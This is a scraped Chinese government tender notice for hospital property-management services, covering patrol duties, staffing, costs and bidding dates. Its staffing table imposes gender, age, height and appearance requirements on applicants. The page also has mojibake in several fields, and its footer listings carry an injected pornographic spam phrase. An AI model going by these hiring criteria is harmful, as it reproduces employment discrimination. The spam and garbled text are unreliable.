（1）遇（略）人取得联系，并做好安全巡查记录，集中精力提高警惕，防止不法分子盗窃破坏，确保安全； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）巡逻检查的员工必须佩带工牌，按规定的巡逻路线巡逻； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）按照《巡逻记录表》中所规定的内容进行巡逻，在检查中如发现险情， 应果断采取应急处理措施，并及时上报，在有关人员及采购人领导到达现场之前不能离开； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）巡逻检查人员必须熟悉采购人楼内巡逻区各类设备、物品放置， 如发现物品的可疑情况，要立即查明，针对检查发现的不安全隐患，落实各项防范措施； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （5）检查消防器材有无损坏，如有损坏，必须立即进行更换，并认真填写更换记录； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （6）夜间巡逻应注意检查声音、味道、温度等安全隐患。注意采购人周界可疑迹象，及时发现并控制非法侵入人员，并向采购人领导进行报告。观察办公室等是否有房门未锁，且房间无人情况，及时上报采购人应急处理。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 3 <td style='background:#fff;padding:0 10px' colspan="1"> 事故处理 <td style='background:#fff;padding:0 10px' colspan="1"> （1）迅速果断制止火灾、爆炸、突发性停电、水浸、盗窃、纠纷等突发事件；秩序维护领班应立即到现场，同时尽快向上级领导报告； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）参与事故处理的秩序维护领班在事件处理后立即填写重大事故报告，于 12 小时内以书面形式递交采购人，详述事故发生的时间、地点、经过，以及事件发生的初步原因和处理经过； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）参与事件处理的秩序维护部门应在事件处理完毕后如实总结，找出事故发生的主要原因，提出避免类似情况发生的预防措施。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 4 <td style='background:#fff;padding:0 10px' colspan="1"> 突发事件的处理 <td style='background:#fff;padding:0 10px' colspan="1"> （1）对于各种突发事件有应急预案； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）凡遇突发事件（指抢、盗、打架、闹事或重大纠纷等），必须保持冷静 ，立即采取必要措施，及时报告采购人当值领导； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）驱散无关人员，保护好现场，留意现场周围的情况； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）对纠纷事件应及时了解具体原因，积极协调，劝阻争吵，平息事态； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （5）对伤亡事件应做好现场保护和通知抢救工作； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （6）秩序维护领班在接报突发事件后应立即赶到现场，做好疏通控制工作，防止事态扩大，并拍照留证。 </tr> </tbody> </table> 3.5导诊服务 <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 序号 <td style='background:#fff;padding:0 10px' colspan="1"> 服务内容 <td style='background:#fff;padding:0 10px' colspan="1"> 服务标准 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 就诊流程 指引 <td style='background:#fff;padding:0 10px' colspan="1"> （1）解答挂号、缴费、取药、检查等环节的流程问题； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）指导使用自助设备（如报告打印机等）； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （3）指引诊室、检验科、影像科、药房等具体位置； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （4）提供医院地图或标识说明。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 科室分诊 <td style='background:#fff;padding:0 10px' colspan="1"> （1）根据症状或需求引导患者到正确科室； </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （2）特殊科室提示（如发热门诊、急诊绿色通道等）。 </tr> </tbody> </table> 3.6针对采购人特点的特殊服务（如重大活动后勤保障等） <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 序号 <td style='background:#fff;padding:0 10px' colspan="1"> 服务内容 <td style='background:#fff;padding:0 10px' colspan="1"> 服务标准 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 重大活动 后勤保障 <td style='background:#fff;padding:0 10px' colspan="1"> （1）医院重大活动（如学术会议、大型义诊、应急演练、庆典活动等）的后勤保障服务，需确保活动高效、安全、有序进行。 </tr> </tbody> </table><h2> 4.供应商履行合同所需的设备</h2> 采购人根据项目实际需求，需要供应商提供作业设备（自有或租赁）用于物业管理服务的，可在下表中列出，举例如下： <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 序号 <td style='background:#fff;padding:0 10px' colspan="1"> 用途 <td style='background:#fff;padding:0 10px' colspan="1"> 作业设备（略） 数量 <td style='background:#fff;padding:0 10px' colspan="1"> 单位 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 维修服务 <td style='background:#fff;padding:0 10px' colspan="1"> 测试仪器、维修工具（如扳手、螺丝刀、钳子、剪线钳等） <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 套 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 保洁服务 <td style='background:#fff;padding:0 10px' colspan="1"> 洗地机、单擦机 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 台 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 3 <td style='background:#fff;padding:0 10px' colspan="1"> 秩序维护服务 <td style='background:#fff;padding:0 10px' colspan="1"> 对讲机、警戒设备 <td style='background:#fff;padding:0 10px' colspan="1"> 10 <td style='background:#fff;padding:0 10px' colspan="1"> 套 </tr> </tbody> </table><h2> 5.物业管理服务人员需求</h2> <table border=0 width='100%' cellspacing=1 cellpadding=5 style='background:#ccc;'> <tbody> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 部门职能 <td style='background:#fff;padding:0 10px' colspan="1"> 岗位 <td style='background:#fff;padding:0 10px' colspan="1"> 同时在岗人数 <td style='background:#fff;padding:0 10px' colspan="1"> 岗位所需总人数 <td style='background:#fff;padding:0 10px' colspan="1"> 备注 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> （略） <td style='background:#fff;padding:0 10px' colspan="1"> 项目主管 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男女不限，年龄50周岁以下，大专及以上学历，五官端正，身体健康，精通物业组织管理，有较强的沟通协调能力，具有较强的服务意识和保密意识。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 库管 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男女不限，年龄40周岁以下，大专及以上学历，具备一年以上的仓库管理经验，熟练掌握电脑操作，能够使用财务软件和进销存管理系统，熟悉仓库管理方法，具备强烈的工作责任心，能够吃苦耐劳，有团队合作精神。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 彩超打字员 <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：女性，年龄35周岁以下，熟练操作电脑，具有较强的责任心和吃苦耐劳的职业素养，具有良好的沟通协调能力及服务意识，反应灵敏、端庄大方、举止文雅。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 行政专员 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：女性，年龄35周岁以下，全日制本科及以上学历，能够熟练操作电脑。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 运营专员 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：女性，年龄35周岁以下，全日制本科及以上学历，具有相关运营工作经验。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 被服收发员 <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男女不限，年龄55周岁以下，具有较强的管理能力和工作责任心，身体健康，保密意识强。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 维修服务 <td style='background:#fff;padding:0 10px' colspan="1"> 维修班长 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男性，年龄55周岁以下，具有良好的工程专业知识，工程相关岗位3年以上工作经验，熟悉变电所、中央空调等各类设备运行维护，具有独立排除一般楼宇维修故障的能力。须具有低压电工特种作业操作证书（投标文件中须提供身份证、低压电工特种作业操作证书复印件）。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 维修强电 <td style='background:#fff;padding:0 10px' colspan="1"> 4 <td style='background:#fff;padding:0 10px' colspan="1"> 4 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男性，年龄55周岁以下，具有良好的工程专业知识，工程相关岗位3年以上工作经验，至少2人具有高压电工特种作业操作证书（投标文件中须提供身份证、高压电工特种作业操作证书复印件）。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 维修弱电 <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男性，年龄55周岁以下，具有良好的工程专业知识，工程相关岗位3年以上工作经验。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 维修水暖 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男性，年龄55周岁以下，具有良好的工程专业知识，工程相关岗位3年以上工作经验。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 维修万能工 <td style='background:#fff;padding:0 10px' colspan="1"> 3 <td style='background:#fff;padding:0 10px' colspan="1"> 3 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男性，年龄55周岁以下，具有良好的工程专业知识，工程相关岗位3年以上工作经验。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 保洁服务 <td style='background:#fff;padding:0 10px' colspan="1"> 保洁班长 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男女不限，年龄55周岁以下，具有3年以上保洁管理经验，具有石材清洗保养经验，具有较强的管理能力和工作责任心，身体健康，保密意识强。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 保洁员 <td style='background:#fff;padding:0 10px' colspan="1"> 18 <td style='background:#fff;padding:0 10px' colspan="1"> 18 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男女不限，年龄55周岁以下，为院领导办公室和有保密要求的办公室的保洁人员，要遵守保密规定，签订保密承诺。保洁人员每年进行一次体检，身体健康状况良好，无传染病及其他疾病，五官端正、动作利落；具有较强的服务意识，职业素养佳。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 秩序维护服务 <td style='background:#fff;padding:0 10px' colspan="1"> 秩序班长 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 1 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男性，年龄55周岁以下，身高在1.70米以上，身材挺拔，反应灵活，责任心强。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 秩序维护员 <td style='background:#fff;padding:0 10px' colspan="1"> 10 <td style='background:#fff;padding:0 10px' colspan="1"> 10 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男性，年龄55周岁以下，身高在1.70米以上，身材挺拔，反应灵活，责任心强。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 中控员 <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 2 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：男性，年龄55周岁以下，身高在1.70米以上，身材挺拔，反应灵活，责任心强。掌握消防设施设备的使用方法并能及时处理各种问题。 </tr> <tr> <td style='background:#fff;padding:0 10px' colspan="1"> 导诊服务 <td style='background:#fff;padding:0 10px' colspan="1"> 导诊服务 <td style='background:#fff;padding:0 10px' colspan="1"> 6 <td style='background:#fff;padding:0 10px' colspan="1"> 6 <td style='background:#fff;padding:0 10px' colspan="1"> 要求：女性，年龄35周岁以下，中专以上学历，形象气质佳，会电脑，性格开朗、亲和力及抗压能力强。 </tr> </tbody> </table> 注：供应商应当按国家相关法律法规，合理确定服务人员工资标准、工作时间等。    供应商应当自行为服务人员办理必需的保险，有关人员伤亡及第三者责任险均应当考虑在报价因素中。<h2> 6.需要说明的其他事项</h2> （1）遵守采购单位规章制度和保密规定，维护采购单位的合法权益和形象，不得借采购单位的名义做虚和不实宣传。 （2）严格审核录用本物业项目员工，如调整管理人员及技术骨干，应事先与采购单位协商，并将新进人员的情况书面向采购单位通报，经采购单位同意后实施。 （3）物业公司未按合同约定的质量标准履行管理服务职责，给采购人造成损失的，采购人可要求物业公司按实赔偿；因物业公司管理服务质量问题导致采购人无法履行合同内容的，采购人有权单方解除合同。 （4）因物业公司原因导致重大火灾、失窃等事件的，采购人有权单方解除合同，并要求物业公司赔偿相关损失。 （5）采购单位负责费用范围： ①各类设备设施的采购及中修、大修、更新、更换费用； ②各类设备设施年检、检测费用； ③特种设备、避雷系统、二次供水系统、维修、更换费用； ④垃圾清运服务、灭四害药品及工具、清掏作业服务费用； ⑤外墙清洗、特殊部位高空清洁、理石结晶等专项清洁费用； ⑥公用能源（水、电、气、热力、通信等）费用。 （6）投标单位负责费用范围： ①员工的工资、社会保险统筹、工会经费、法定假日加班费、工服折旧费、体检费、清洁设备、专用耗材、日常清洁工具、办公用品耗材、秩序维护用品、管理费及法定税费等。 ②管理服务过程中，如采购人在相关项目的人员预算基础上需增加相关岗位的作业人员，或在现有服务内容的基础上需增设或扩大相关服务项目，则按相关岗位的人均综合费用增加物业管理费，增加的相关费用由采购人负责按日常的物业管理费支付。 ③遇政策性因素调整，如最低工资标准上调、社会保险金基数上调等因素导致管理成本增大，采购人应给予中标单位物业管理费用同等比例的提高。 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 合同履行期限：合同签订后2年。合同签订后一周内完成与原物业的交接。 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 需落实的政府采购政策内容：详见招标文件 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 本项目（是/否）接受联合体投标：否 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 二、供应商的资格要求 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 1.满足《中华人民共和国政府采购法》第二十二条规定。 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 2.落实政府采购政策需满足的资格要求：详见招标文件 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 3.本项目的特定资格要求：无 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 叁、政府采购供应商入库须知 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 参加辽宁省政府采购活动的供应商未进入辽宁省政府采购供应商库的，请详阅辽宁政府采购网 “首页—政策法规”中公布的“政府采购供应商入库”的相关规定，及时办理入库登记手续。填写单位名称、统一社会信用代码和（略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 四、获取招标文件 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 时间：2025年04月30日11时00分至2025年05月13日00时00分（北京时间，法定节假日除外） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> （略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 方式：线上 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 售价：免费 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 五、提交投标文件截止时间、开标时间和地点 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 2025年05月21日 09时00分（北京时间） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> （略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 六、公告期限 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 自本公告发布之日起5个工作日。 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 七、质疑与投诉 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 供应商认为自己的权益受（略）人提出质疑。 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 1、接收质疑函方式：线上或书面纸质质疑函 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 2、质疑函内容、格式：应符合《政府采购质疑和投诉办法》相关规定和财政部制定的《政府采购质疑函范本》格式，详见辽宁政府采购网。 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 质疑供应商对采购人、采购代理机构的答复不满意，或者采购人、采购代理机构未在规定时间内作出答复的，可以在答复期满后15个工作日内向本级财政部门提起投诉。 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 八、其他补充事宜 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 无 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 九、对本次招标提出询问，请按以下方式联系 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 1.采购人信息 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 名&苍产蝉辫;&苍产蝉辫;称： （略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 地&苍产蝉辫;&苍产蝉辫;址： 辽宁省沉阳（略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 联系方式： （略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 2.采购代理机构信息： </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 名&苍产蝉辫;&苍产蝉辫;称： （略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 地&苍产蝉辫;&苍产蝉辫;址： 中国 辽宁省 沉阳（略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 联系方式： （略） </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 邮箱地址： 详见招标文件 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> （略） 详见招标文件 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 账户名称： 详见招标文件 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 眨裕� 详见招标文件 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 3.项目联系方式 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 项目（略） 李帅 </div> <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> 电&苍产蝉辫;&苍产蝉辫;话： （略） </div> </div> </div> </tr> <tr> <td style='background:#fff;padding:0 10px'> </tr> <tr> <td style='background:#fff;padding:0 10px'> 附件： <div style='width:auto;word-wrap:break-word;white-space:normal;word-break:break-all;'> </div> </tr> </tbody> </table> </tr> </tbody> </table> <td style='background:#fff;padding:0 10px'>   </tr> <tr> <td style='background:#fff;padding:0 10px'> <td style='background:#fff;padding:0 10px'> <td style='background:#fff;padding:0 10px'> </tr> </tbody> </table> </tr> </tbody> </table> </form> </body> </html> </tr></table></td></tr></table>

查找相同招标 : `搜索`
招标进展阶段：	招标文件：
招标关键词：	定制信息：

摆精品熟人妻一区二区三区四区不卡闭 6幢6-1421公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 6幢6-308公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 6幢6-306公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 7幢7-718公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 6幢6-1122公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 3幢3-704公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 2幢2-315公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 9幢9-1319公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 8幢8-415公告(截止时间: 2025-05-05) 2025-05-01
摆精品熟人妻一区二区三区四区不卡闭 成都市金堂县赵镇观岭大道1188号观岭国际社区二期17栋-1-2层1号房产转让公告(截止时间: ... 2025-05-01

暂无相关信息。

暂无相关信息。